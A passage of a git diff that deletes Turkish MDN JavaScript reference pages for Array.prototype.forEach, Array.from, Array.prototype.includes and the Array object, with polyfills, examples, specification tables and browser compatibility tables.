that <code>callback.call()</code> evaluates to the original value of {{jsxref("Function.prototype.call()")}}.</p> - -<pre class="brush: js">// Production steps of ECMA-262, Edition 5, 15.4.4.18 -// Reference: http://es5.github.io/#x15.4.4.18 -if (!Array.prototype.forEach) { - - Array.prototype.forEach = function(callback/*, thisArg*/) { - - var T, k; - - if (this == null) { - throw new TypeError('this is null or not defined'); - } - - // 1. Let O be the result of calling toObject() passing the - // |this| value as the argument. - var O = Object(this); - - // 2. Let lenValue be the result of calling the Get() internal - // method of O with the argument "length". - // 3. Let len be toUint32(lenValue). - var len = O.length >>> 0; - - // 4. If isCallable(callback) is false, throw a TypeError exception. - // See: http://es5.github.com/#x9.11 - if (typeof callback !== 'function') { - throw new TypeError(callback + ' is not a function'); - } - - // 5. If thisArg was supplied, let T be thisArg; else let - // T be undefined. - if (arguments.length > 1) { - T = arguments[1]; - } - - // 6. Let k be 0. - k = 0; - - // 7. Repeat while k < len. - while (k < len) { - - var kValue; - - // a. Let Pk be ToString(k). - // This is implicit for LHS operands of the in operator. - // b. Let kPresent be the result of calling the HasProperty - // internal method of O with argument Pk. - // This step can be combined with c. - // c. If kPresent is true, then - if (k in O) { - - // i. Let kValue be the result of calling the Get internal - // method of O with argument Pk. - kValue = O[k]; - - // ii. Call the Call internal method of callback with T as - // the this value and argument list containing kValue, k, and O. - callback.call(T, kValue, k, O); - } - // d. Increase k by 1. - k++; - } - // 8. return undefined. - }; -} -</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-15.4.4.18', 'Array.prototype.forEach')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td>Initial definition. Implemented in JavaScript 1.6.</td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-array.prototype.foreach', 'Array.prototype.forEach')}}</td> - <td>{{Spec2('ES6')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-array.prototype.foreach', 'Array.prototype.forEach')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<div> - - -<p>{{Compat("javascript.builtins.Array.forEach")}}</p> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{jsxref("Array.prototype.find()")}}</li> - <li>{{jsxref("Array.prototype.findIndex()")}}</li> - <li>{{jsxref("Array.prototype.map()")}}</li> - <li>{{jsxref("Array.prototype.every()")}}</li> - <li>{{jsxref("Array.prototype.some()")}}</li> - <li>{{jsxref("Map.prototype.forEach()")}}</li> - <li>{{jsxref("Set.prototype.forEach()")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/from/index.html b/files/tr/web/javascript/reference/global_objects/array/from/index.html deleted file mode 100644 index d0d45add78..0000000000 --- a/files/tr/web/javascript/reference/global_objects/array/from/index.html +++ /dev/null @@ -1,258 +0,0 @@ ---- -title: Array.from() -slug: Web/JavaScript/Reference/Global_Objects/Array/from -translation_of: Web/JavaScript/Reference/Global_Objects/Array/from ---- -<div>{{JSRef}}</div> - -<p><code><strong>Array.from()</strong></code> metodu bir dizi-benzeri veya gezinilebilir bir nesneden yeni bir Dizi örneği oluşturur.</p> - -<pre class="brush: js">Array.from("birşey"); -// ["b", "i", "r", "ş", "e", "y"]</pre> - -<h2 id="Söz_dizimi">Söz dizimi</h2> - -<pre class="syntaxbox">Array.from(arrayLike[, mapFn[, thisArg]]) -</pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt><code>arrayLike</code></dt> - <dd>Diziye çevrilecek olan dizi-benzeri ya da gezinilebilir nesnedir.</dd> - <dt><code>mapFn</code></dt> - <dd>İsteğe bağlı. Map fonksiyonu tüm dizi öğeleri için çağrılır.</dd> - <dt><code>thisArg</code></dt> - <dd>İsteğe bağlı. <code>mapFn fonksiyonu işletilirken kullanılacak olan this argüman değeridir.</code></dd> -</dl> - -<h3 id="Dönüş_değeri">Dönüş değeri</h3> - -<p>Yeni bir {{jsxref("Array")}} örneği.</p> - -<h2 id="Açıklama">Açıklama</h2> - -<p><code>Array.from(),</code> aşağıdaki yapılardan <code>Diziler</code> oluşturmanıza izin verir:</p> - -<ul> - <li>dizi-benzeri nesneler (sıralı öğeler ve bir uzunluk(<code>length</code>) özelliği olan nesneler) ya da</li> - <li><a href="/en-US/docs/Web/JavaScript/Guide/iterable">gezinilebilir nesneler</a> (öğelerini alabildiğiniz nesneler, {{jsxref("Map")}} ve {{jsxref("Set")}} gibi).</li> -</ul> - -<p><code>Array.from()</code> has an optional parameter <code>mapFn</code>, which allows you to execute a {{jsxref("Array.prototype.map", "map")}} function on each element of the array (or subclass object) that is being created. More clearly,<code> Array.from(obj, mapFn, thisArg)</code> has the same result as <code>Array.from(obj).map(mapFn, thisArg)</code>, except that it does not create an intermediate array. This is especially important for certain array subclasses, like <a href="/en-US/docs/Web/JavaScript/Typed_arrays">typed arrays</a>, since the intermediate array would necessarily have values truncated to fit into the appropriate type.</p> - -<p>The <code>length</code> property of the <code>from()</code> method is 1.</p> - -<p>In ES2015, the class syntax allows for sub-classing of both built-in and user defined classes; as a result, static methods such as <code>Array.from</code> are "inherited" by subclasses of <code>Array</code> and create new instances of the subclass, not <code>Array</code>.</p> - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="Bir_metinden_Dizi_oluşturma">Bir metinden Dizi oluşturma</h3> - -<pre class="brush: js">Array.from("birşey"); -// ["b", "i", "r", "ş", "e", "y"]</pre> - -<h3 id="Bir_Set_nesnesinden_Dizi_oluşturma">Bir <code>Set nesnesinden Dizi oluşturma</code></h3> - -<pre class="brush: js">var s = new Set(["birşey", window]); -Array.from(s); -// ["birşey", window]</pre> - -<h3 id="Bir_Map_nesnesinden_Dizi_oluşturma">Bir <code>Map nesnesinden Dizi oluşturma</code></h3> - -<pre class="brush: js">var m = new Map([[1, 2], [2, 4], [4, 8]]); -Array.from(m); -// [[1, 2], [2, 4], [4, 8]]</pre> - -<h3 id="Bir_dizi-benzeri_nesneden_dizi_oluşturma_(argümanlar)">Bir dizi-benzeri nesneden dizi oluşturma (argümanlar)</h3> - -<pre class="brush: js">function f() { - return Array.from(arguments); -} - -f(1, 2, 3); - -// [1, 2, 3]</pre> - -<h3 id="Ok_işlevleri_ve_Array.from_kullanma">Ok işlevleri ve <code>Array.from kullanma</code></h3> - -<pre class="brush: js">// Bir işlevini, map işlevi olarak kullanıp -// öğeler üzerinde oynama yapmak -Array.from([1, 2, 3], x => x + x); -// [2, 4, 6] - - -// Generate a sequence of numbers -// Since the array is initialized with `undefined` on each position, -// the value of `v` below will be `undefined` -Array.from({length: 5}, (v, i) => i); -// [0, 1, 2, 3, 4] -</pre> - -<h2 id="Polyfill">Polyfill</h2> - -<p><code>Array.from</code> was added to the ECMA-262 standard in the 6th edition (ES2015); as such it may not be present in other implementations of the standard. You can work around this by inserting the following code at the beginning of your scripts, allowing use of <code>Array.from</code> in implementations that don't natively support it. This algorithm is exactly the one specified in ECMA-262, 6th edition, assuming <code>Object</code> and <code>TypeError</code> have their original values and that <code>callback.call</code> evaluates to the original value of {{jsxref("Function.prototype.call")}}. In addition, since true iterables can not be polyfilled, this implementation does not support generic iterables as defined in the 6th edition of ECMA-262.</p> - -<pre class="brush: js">// Production steps of ECMA-262, Edition 6, 22.1.2.1 -if (!Array.from) { - Array.from = (function () { - var toStr = Object.prototype.toString; - var isCallable = function (fn) { - return typeof fn === 'function' || toStr.call(fn) === '[object Function]'; - }; - var toInteger = function (value) { - var number = Number(value); - if (isNaN(number)) { return 0; } - if (number === 0 || !isFinite(number)) { return number; } - return (number > 0 ? 1 : -1) * Math.floor(Math.abs(number)); - }; - var maxSafeInteger = Math.pow(2, 53) - 1; - var toLength = function (value) { - var len = toInteger(value); - return Math.min(Math.max(len, 0), maxSafeInteger); - }; - - // The length property of the from method is 1. - return function from(arrayLike/*, mapFn, thisArg */) { - // 1. Let C be the this value. - var C = this; - - // 2. Let items be ToObject(arrayLike). - var items = Object(arrayLike); - - // 3. ReturnIfAbrupt(items). - if (arrayLike == null) { - throw new TypeError("Array.from requires an array-like object - not null or undefined"); - } - - // 4. If mapfn is undefined, then let mapping be false. - var mapFn = arguments.length > 1 ? arguments[1] : void undefined; - var T; - if (typeof mapFn !== 'undefined') { - // 5. else - // 5. a If IsCallable(mapfn) is false, throw a TypeError exception. - if (!isCallable(mapFn)) { - throw new TypeError('Array.from: when provided, the second argument must be a function'); - } - - // 5. b. If thisArg was supplied, let T be thisArg; else let T be undefined. - if (arguments.length > 2) { - T = arguments[2]; - } - } - - // 10. Let lenValue be Get(items, "length"). - // 11. Let len be ToLength(lenValue). - var len = toLength(items.length); - - // 13. If IsConstructor(C) is true, then - // 13. a. Let A be the result of calling the [[Construct]] internal method - // of C with an argument list containing the single item len. - // 14. a. Else, Let A be ArrayCreate(len). - var A = isCallable(C) ? Object(new C(len)) : new Array(len); - - // 16. Let k be 0. - var k = 0; - // 17. Repeat, while k < len… (also steps a - h) - var kValue; - while (k < len) { - kValue = items[k]; - if (mapFn) { - A[k] = typeof T === 'undefined' ? mapFn(kValue, k) : mapFn.call(T, kValue, k); - } else { - A[k] = kValue; - } - k += 1; - } - // 18. Let putStatus be Put(A, "length", len, true). - A.length = len; - // 20. Return A. - return A; - }; - }()); -} -</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-array.from', 'Array.from')}}</td> - <td>{{Spec2('ES6')}}</td> - <td>Initial definition.</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-array.from', 'Array.from')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td></td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<div>{{CompatibilityTable}}</div> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Edge</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatChrome("45")}}</td> - <td>{{CompatGeckoDesktop("32")}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>9.0</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Chrome for Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatGeckoMobile("32")}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{jsxref("Array")}}</li> - <li>{{jsxref("Array.prototype.map()")}}</li> - <li>{{jsxref("TypedArray.from()")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/includes/index.html b/files/tr/web/javascript/reference/global_objects/array/includes/index.html deleted file mode 100644 index 7ccb8cebc9..0000000000 --- a/files/tr/web/javascript/reference/global_objects/array/includes/index.html +++ /dev/null @@ -1,176 +0,0 @@ ---- -title: Array.prototype.includes() -slug: Web/JavaScript/Reference/Global_Objects/Array/includes -translation_of: Web/JavaScript/Reference/Global_Objects/Array/includes ---- -<div>{{JSRef}}</div> - -<p><code><strong>includes()</strong></code> metodu bir dizinin belirli bir elemanı içerip içermediğini belirler, içeriyorsa <code>true</code> içermiyorsa <code>false</code> değeri döndürür. Aranan öğenin bulunup bulunmadığını belirlemek için <code>sameValueZero</code> algoritmasını kullanır.</p> - -<pre class="brush: js">var a = [1, 2, 3]; -a.includes(2); // true -a.includes(4); // false -</pre> - -<p>{{EmbedInteractiveExample("pages/js/array-includes.html")}} </p> - -<div> -<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div> -</div> - -<h2 id="Söz_Dizimi">Söz Dizimi</h2> - -<pre class="syntaxbox"><var>arr</var>.includes(<var>searchElement</var>) -<var>arr</var>.includes(<var>searchElement</var>, <var>fromIndex</var>) -</pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt><code>searchElement</code></dt> - <dd>Aranan eleman.</dd> - <dt><code>fromIndex</code> {{optional_inline}}</dt> - <dd>Dizide <code>searchElement</code> için aramanın başlatılacağı indis. Negatif bir değer, dizinin sonundan aramaya başlar. Varsayılan değer 0'dır.</dd> -</dl> - -<h3 id="Return_value">Return value</h3> - -<p>A {{jsxref("Boolean")}}.</p> - -<h2 id="Örnekler">Örnekler</h2> - -<pre class="brush: js">[1, 2, 3].includes(2); // true -[1, 2, 3].includes(4); // false -[1, 2, 3].includes(3, 3); // false -[1, 2, 3].includes(3, -1); // true -[1, 2, NaN].includes(NaN); // true -</pre> - -<h3 id="fromIndex_dizi_uzunluğundan_büyük_veya_eşitse"><code>fromIndex</code> dizi uzunluğundan büyük veya eşitse</h3> - -<p>Eğer <code>fromIndex</code> dizinin uzunluğundan büyük veya eşitse, false döndürülür. Dizi aranmaz.</p> - -<pre class="brush: js">var arr = ['a', 'b', 'c']; - -arr.includes('c', 3); //false -arr.includes('c', 100); // false</pre> - -<h3 id="Hesaplanan_indis_0'dan_küçükse">Hesaplanan indis 0'dan küçükse</h3> - -<p>Eğer <code>fromIndex</code> negatifse, hesaplanan indis, <code>searchElement</code> için aramaya başlanacak konum olarak belirlenir. Hesaplanmış indis 0'dan küçükse, dizinin tamamı aranır.</p> - -<pre class="brush: js">// array length is 3 -// fromIndex is -100 -// computed index is 3 + (-100) = -97 - -var arr = ['a', 'b', 'c']; - -arr.includes('a', -100); // true -arr.includes('b', -100); // true -arr.includes('c', -100); // true</pre> - -<h3 id="includes()_genel_bir_yöntem_olarak_kullanılması"><code>includes()</code> genel bir yöntem olarak kullanılması</h3> - -<p><code>includes()</code> yöntemi kasıtlı olarak geneldir. <code>this</code> değerinin bir Array nesnesi türünde olmasını gerektirmez, böylece diğer türlerdeki nesnelere (örn: dizi benzeri nesneler) uygulanabilir. Aşağıdaki örnek, fonksiyonun sahip olduğu <a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments">argümanlar</a> nesnesi için uygulanan <code>includes()</code> metodunu göstermektedir.</p> - -<pre class="brush: js">(function() { - console.log([].includes.call(arguments, 'a')); // true - console.log([].includes.call(arguments, 'd')); // false -})('a','b','c');</pre> - -<h2 id="Polyfill">Polyfill</h2> - -<pre class="brush: js">// https://tc39.github.io/ecma262/#sec-array.prototype.includes -if (!Array.prototype.includes) { - Object.defineProperty(Array.prototype, 'includes', { - value: function(searchElement, fromIndex) { - - if (this == null) { - throw new TypeError('"this" is null or not defined'); - } - - // 1. Let O be ? ToObject(this value). - var o = Object(this); - - // 2. Let len be ? ToLength(? Get(O, "length")). - var len = o.length >>> 0; - - // 3. If len is 0, return false. - if (len === 0) { - return false; - } - - // 4. Let n be ? ToInteger(fromIndex). - // (If fromIndex is undefined, this step produces the value 0.) - var n = fromIndex | 0; - - // 5. If n ≥ 0, then - // a. Let k be n. - // 6. Else n < 0, - // a. Let k be len + n. - // b. If k < 0, let k be 0. - var k = Math.max(n >= 0 ? n : len - Math.abs(n), 0); - - function sameValueZero(x, y) { - return x === y || (typeof x === 'number' && typeof y === 'number' && isNaN(x) && isNaN(y)); - } - - // 7. Repeat, while k < len - while (k < len) { - // a. Let elementK be the result of ? Get(O, ! ToString(k)). - // b. If SameValueZero(searchElement, elementK) is true, return true. - if (sameValueZero(o[k], searchElement)) { - return true; - } - // c. Increase k by 1. - k++; - } - - // 8. Return false - return false; - } - }); -} -</pre> - -<p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a></code> desteklemeyen eski JavaScript motorlarını desteklemeniz gerekiyorsa, <code>Array.prototype</code> metodlarını non-enumerable yapamadığımız için polyfill uygulamamak daha iyidir.</p> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES7', '#sec-array.prototype.includes', 'Array.prototype.includes')}}</td> - <td>{{Spec2('ES7')}}</td> - <td>Initial definition.</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-array.prototype.includes', 'Array.prototype.includes')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<div> - - -<p>{{Compat("javascript.builtins.Array.includes")}}</p> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{jsxref("TypedArray.prototype.includes()")}}</li> - <li>{{jsxref("String.prototype.includes()")}}</li> - <li>{{jsxref("Array.prototype.indexOf()")}}</li> - <li>{{jsxref("Array.prototype.find()")}}</li> - <li>{{jsxref("Array.prototype.findIndex()")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/index.html b/files/tr/web/javascript/reference/global_objects/array/index.html deleted file mode 100644 index 7cebdbba0f..0000000000 --- a/files/tr/web/javascript/reference/global_objects/array/index.html +++ /dev/null @@ -1,371 +0,0 @@ ---- -title: Diziler -slug: Web/JavaScript/Reference/Global_Objects/Array -tags: - - Array - - JavaScript -translation_of: Web/JavaScript/Reference/Global_Objects/Array ---- -<div>{{JSRef}}</div> - -<p>JavaScript <strong><code>Array</code></strong> nesnesi, üst düzey, liste benzeri dizi yapıları için kullanılan genel bir nesnedir.</p> - -<p><strong>Bir dizi oluşturma</strong></p> - -<pre class="brush: js line-numbers language-js notranslate">var meyveler = ["Elma", "Muz"]; - -console.log(meyveler.length); -// 2</pre> - -<p><strong>Dizideki (indeks ile) elemana ulaşma</strong></p> - -<pre class="brush: js line-numbers language-js notranslate">var ilk = meyveler[0]; -// Elma - -var son = meyveler[meyveler.length - 1]; -/* Diziler sıfır-tabanlı olduğu için uzunluk-1'inci eleman son elemandır. -// Muz</pre> - -<p><strong>Bir dizi üzerinde döngü kurma</strong></p> - -<pre class="brush: js line-numbers language-js notranslate">meyveler.forEach(function (item, index, array) { - console.log(item, index); -}); -// Elma 0 -// Muz 1</pre> - -<p><strong>Dizinin sonuna eleman ekleme</strong></p> - -<pre class="brush: js line-numbers language-js notranslate">var yeniDizi = meyveler.push("Portakal"); -// ["Elma", "Muz", "Portakal"]</pre> - -<p><strong>Dizi sonundan eleman kaldırma</strong></p> - -<pre class="brush: js line-numbers language-js notranslate">var son = meyveler.pop(); // Portakal elemanını kaldır(sondan) -// ["Elma", "Muz"];</pre> - -<p><strong>Dizi başından eleman kaldırma</strong></p> - -<pre class="brush: js line-numbers language-js notranslate">var ilk = fruits.shift(); // Elma elemanını kaldır(baştan) -// ["Muz"];</pre> - -<p><strong>Dizi başına eleman ekleme</strong></p> - -<pre class="brush: js line-numbers language-js notranslate">var yeniDizi = fruits.unshift("Çilek") // Başa ekle -// ["Çilek", "Muz"];</pre> - -<p><strong>Dizideki elemanın kaçıncı sırada olduğunu bulma</strong></p> - -<pre class="brush: js line-numbers language-js notranslate">meyveler.push("Mango"); -// ["Çilek", "Muz", "Mango"] - -var pos = meyveler.indexOf("Muz"); -// 1</pre> - -<p><strong>Belirli bir sıradaki elemanı silme</strong></p> - -<pre class="brush: js line-numbers language-js notranslate">var silinenEleman = meyveler.splice(pos, 1); // bir elemanı kaldırma -// ["Çilek", "Mango"] -</pre> - -<p><strong>Dizi kopyalama</strong></p> - -<pre class="brush: js line-numbers language-js notranslate">var kopyalananDizi = meyveler.slice(); // -// ["Çilek", "Mango"]</pre> - -<h2 id="Söz_Dizimi">Söz Dizimi</h2> - -<pre class="syntaxbox notranslate">[<var>element0</var>, <var>element1</var>, ..., <var>elementN</var>] -new Array(<em>element0</em>, <em>element1</em>, ..., <em>elementN</em>) -new Array(<em>diziUzunlugu</em>) -</pre> - -<div class="note"> -<p><strong>Not: </strong>N + 1 = dizi uzunluğu</p> -</div> - -<dl> - <dt><code><var>element0</var>, <var>element1</var>, ..., <var>elementN</var> </code></dt> - <dd>Bir dizi <code>new Array() </code>nesnesine verilen argüman dışında(yukarıdaki diziUzunluğu argümanı gibi), verilen elemanlar ile oluşturulabilir.(Yukarıda görüldüğü üzere) Bu özel durum sadece <code>new Array()</code> nesnesiyle (<code>Array </code>Constructor) oluşturulan dizilere uygulanabilir, köşeli parantezler ( [ ve ] ) ile oluşturulan dizilere uygulanamaz.</dd> - <dt><code><var>arrayLength </var></code><var>(dizi uzunluğu)</var></dt> - <dd><code>array </code>nesnesinden sadece 0 ve 2<sup>32</sup>-1 (dahil) arasındaki tam sayılardan biri argüman olarak geçirilebilir.</dd> - <dd>If the only argument passed to the <code>Array</code> constructor is an integer between 0 and 2<sup>32</sup>-1 (inclusive), a new, empty JavaScript array and its length is set to that number. If the argument is any other number, a {{jsxref("Global_Objects/RangeError", "RangeError")}} exception is thrown.</dd> -</dl> - -<h2 id="Tanım">Tanım</h2> - -<p>Diziler liste benzeri nesnelerdir ve dönüştürme, tekrarlama gibi işlemlerini uygulamak için dahili methotlarla gelmektedir. JavaScript dizilerinin ne uzunlukları nede elemanları sabit değildir. Önceden tanımlamak gerekmez. Listenin uzunluğu her daim değişebilir ve dizi elemanları ayrık yerleştirilebilir. JavaScript dizilerin düzenli olmasını garanti etmez. Kullanımı tamamen geliştiricinin kullanım senaryosuna bağlıdır. Genel olarak bu yapı esnek ve kullanışlıdır fakat bu özelliklerin sizin belirli kullanım senaryonuzla uyuşup uyuşmadığını dikkate almalısınız.</p> - -<p>Note that <a class="external" href="http://www.andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/">you shouldn't use an array as an associative array</a>. You can use plain {{jsxref("Global_Objects/Object", "objects")}} instead, although doing so comes with its own caveats. See the post <a class="external" href="http://www.less-broken.com/blog/2010/12/lightweight-javascript-dictionaries.html" title="http://monogatari.doukut.su/2010/12/lightweight-javascript-dictionaries.html">Lightweight JavaScript dictionaries with arbitrary keys</a> as an example.</p> - -<h3 id="Dizi_nesnelerine_erişme">Dizi nesnelerine erişme</h3> - -<p>JS dizileri sıfır-tabanlı'dır. Yani ilk elemanın dizideki index'i 0'dır. Son elemanın index'i {{jsxref("Array.length", "length")}} değerinin bir eksiğine eşittir.</p> - -<pre class="brush: js notranslate">var arr = ["bu ilk eleman", "bu ikinci eleman"]; -console.log(arr[0]); // ilk elemanı yazdırır -console.log(arr[1]); // ikinci elemanı yazdırır -console.log(arr[arr.length - 1]); // son elemanı yazdırır -</pre> - -<p>Dizi öğeleri, {{jsxref("Array.toString", "toString")}} gibi sadece nesne özellikleridir. Geçersiz index numarası ile eleman çağırdığınız zaman <code>undefined</code> değerini alırsınız. Ancak, dizinin bir elemanına aşağıdaki gibi erişmeye çalışırsanız söz dizimi hatası alırsınız, çünkü özellik adı geçerli değildir.</p> - -<pre class="brush: js notranslate">console.log(arr.0); // bir söz dizimi hatasıdır -</pre> - -<p>Yukardaki kullanımın söz dizimi hatasına yol açmasında özel bir durum yoktur nokta ile gösterim sayı değeri ile başlayamaz tıpkı değişken tanımlamalarında olduğu gibi. Eğer '3d' isimli bir obje değerine ulaşmak istiyorsanız obj['3d'] çağırımını yapmalısınız.</p> - -<pre class="brush: js notranslate">var years = [1950, 1960, 1970, 1980, 1990, 2000, 2010]; -console.log(years.0); // söz dizimi hatası -console.log(years[0]); // çalışır -</pre> - -<pre class="brush: js notranslate">renderer.3d.setTexture(model, "character.png"); // söz dizimi hatası -renderer["3d"].setTexture(model, "character.png"); // çalışır -</pre> - -<p>Note that in the <code>3d</code> example, "<code>3d</code>" had to be quoted. It's possible to quote the JavaScript array indexes as well (e.g., <code>years["2"]</code> instead of <code>years[2]</code>), although it's not necessary. The 2 in <code>years[2]</code> eventually gets coerced into a string by the JavaScript engine, anyway, through an implicit <code>toString</code> conversion. It is for this reason that "2" and "02" would refer to two different slots on the <code>years</code> object and the following example logs <code>true</code>:</p> - -<pre class="brush: js notranslate">console.log(years["2"] != years["02"]); -</pre> - -<p>Similarly, object properties which happen to be reserved words(!) can only be accessed as string literals in bracket notation:</p> - -<pre class="brush: js language-js notranslate">var promise = { - 'var' : 'text', - 'array': [1, 2, 3, 4] -}; - -console.log(promise['array']);</pre> - -<h3 id="Uzunluk_ve_sayısal_özellikler_arasındaki_ilişki">Uzunluk ve sayısal özellikler arasındaki ilişki</h3> - -<p>Bir JavaScript dizisinin {{jsxref("Array.length", "length")}} özelliği ve sayısal özellikleri bağlıdır. Bir takım ön tanımlı dizi metotları (örn., {{jsxref("Array.join", "join")}}, {{jsxref("Array.slice", "slice")}}, {{jsxref("Array.indexOf", "indexOf")}}, vb.) çağrıldıklarında, dizinin {{jsxref("Array.length", "length")}} özellik değerini hesaba katar. Diğer metotlar (örn., {{jsxref("Array.push", "push")}}, {{jsxref("Array.splice", "splice")}}, vb.) daha çok dizinin {{jsxref("Array.length", "length")}} özelliğinin güncellenmesine neden olur.</p> - -<pre class="brush: js notranslate">var meyveler = []; -meyveler.push("muz", "elma", "şeftali"); - -console.log(meyveler.length); // 3</pre> - -<p>Uygun bir index değeri ile beraber, bir dizi elemanı güncellenirse ve ilgili index sayısı dizi sınırları dışında ise; dizi boyutu, verilen index'e uyum sağlayacak biçimde büyüyecek ve Javascript motoru, dizinin {{jsxref("Array.length", "length")}} özelliğini uygun şekilde güncelleyecektir.</p> - -<pre class="brush: js notranslate">fruits[3] = "mango"; -console.log(fruits[3]); -console.log(fruits.length); // 4</pre> - -<p>Uzunluk özelliğini doğrudan ayarlamak, özel bir davranışa neden olur.</p> - -<pre class="brush: js notranslate">fruits.length = 10; -console.log(fruits); // Dizi, tanımsız olarak doldurulur -console.log(fruits.length); // 10 -</pre> - -<p>Bu özellik {{jsxref("Array.length")}} sayfasında daha ayrıntılı olarak anlatılmıştır.</p> - -<h3 id="Bir_diziyi_eşleşen_bir_sonuç_ile_oluşturmak">Bir diziyi eşleşen bir sonuç ile oluşturmak</h3> - -<p>Bir düzenli ifadeye yollanan metin sonucu bir JavaScript dizisi oluşturulabilir. Bu dizi, eşleşen sonuca ait özellikleri ve ifadeleri içerir. Böyle bir dizi {{jsxref("RegExp.exec")}}, {{jsxref("String.match")}}, ve {{jsxref("String.replace")}} tarafından döndürülür. Bu özellikler ve öğeleri açıklamaya yardımcı olabilmesi için aşağıdaki örneği ve altındaki tabloyu inceleyin.</p> - -<pre class="brush: js notranslate">// Match one d followed by one or more b's followed by one d -// Remember matched b's and the following d -// Ignore case - -var myRe = /d(b+)(d)/i; -var myArray = myRe.exec("cdbBdbsbz"); -</pre> - -<p>Eşleşen sonucun öğeleri ve özellikleri aşağıdaki gibidir:</p> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td class="header">Özellik/Öğe</td> - <td class="header">Açıklama</td> - <td class="header">Örnek</td> - </tr> - <tr> - <td><code>input</code></td> - <td>Düzenli ifadeye yollanan metni işaret eden salt-okunur bir özelliktir.</td> - <td>cdbBdbsbz</td> - </tr> - <tr> - <td><code>index</code></td> - <td>Düzenli ifadeye yollanan metindeki eşleşmenin sıfır-tabanlı ve salt-okunur index özelliğidir.</td> - <td>1</td> - </tr> - <tr> - <td><code>[0]</code></td> - <td>Son eşleşen karakteri belirten salt-okunur bir özelliktir.</td> - <td>dbBd</td> - </tr> - <tr> - <td><code>[1], ...[n]</code></td> - <td>Read-only elements that specify the parenthesized substring matches, if included in the regular expression. The number of possible parenthesized substrings is unlimited.</td> - <td>[1]: bB<br> - [2]: d</td> - </tr> - </tbody> -</table> - -<h2 id="Özellikler">Özellikler</h2> - -<dl> - <dt>{{jsxref("Array.length")}}</dt> - <dd>The <code>Array</code> constructor's length property whose value is 1.</dd> - <dt>{{jsxref("Array.prototype")}}</dt> - <dd>Allows the addition of properties to all array objects.</dd> -</dl> - -<h2 id="Yöntemler">Yöntemler</h2> - -<dl> - <dt>{{jsxref("Array.from()")}} {{experimental_inline}}</dt> - <dd>Bir dizi benzeri veya bir yinelenebilir nesneden yeni bir Dizi örneği oluşturur.</dd> - <dt>{{jsxref("Array.isArray()")}}</dt> - <dd>Eğer bir dizi ise true, değilse false döndürür.</dd> - <dt>{{jsxref("Array.observe()")}} {{experimental_inline}}</dt> - <dd>Asynchronously observes changes to Arrays, similar to {{jsxref("Object.observe()")}} for objects. It provides a stream of changes in order of occurrence.</dd> - <dt>{{jsxref("Array.of()")}} {{experimental_inline}}</dt> - <dd>Creates a new <code>Array</code> instance with a variable number of arguments, regardless of number or type of the arguments.</dd> -</dl> - -<h2 id="Dizi_örnekleri"><code>Dizi</code> örnekleri</h2> - -<p>Tüm dizi örnekleri, {{jsxref("Array.prototype")}} 'dan türer. The prototype object of the <code>Array</code> constructor can be modified to affect all <code>Array</code> instances.</p> - -<h3 id="Özellikler_2">Özellikler</h3> - -<div>{{page('/tr/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype', 'Properties')}}</div> - -<h3 id="Metodlar">Metodlar</h3> - -<h4 id="Mutator_methods">Mutator methods</h4> - -<div>{{page('tr/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype', 'Mutator_methods')}}</div> - 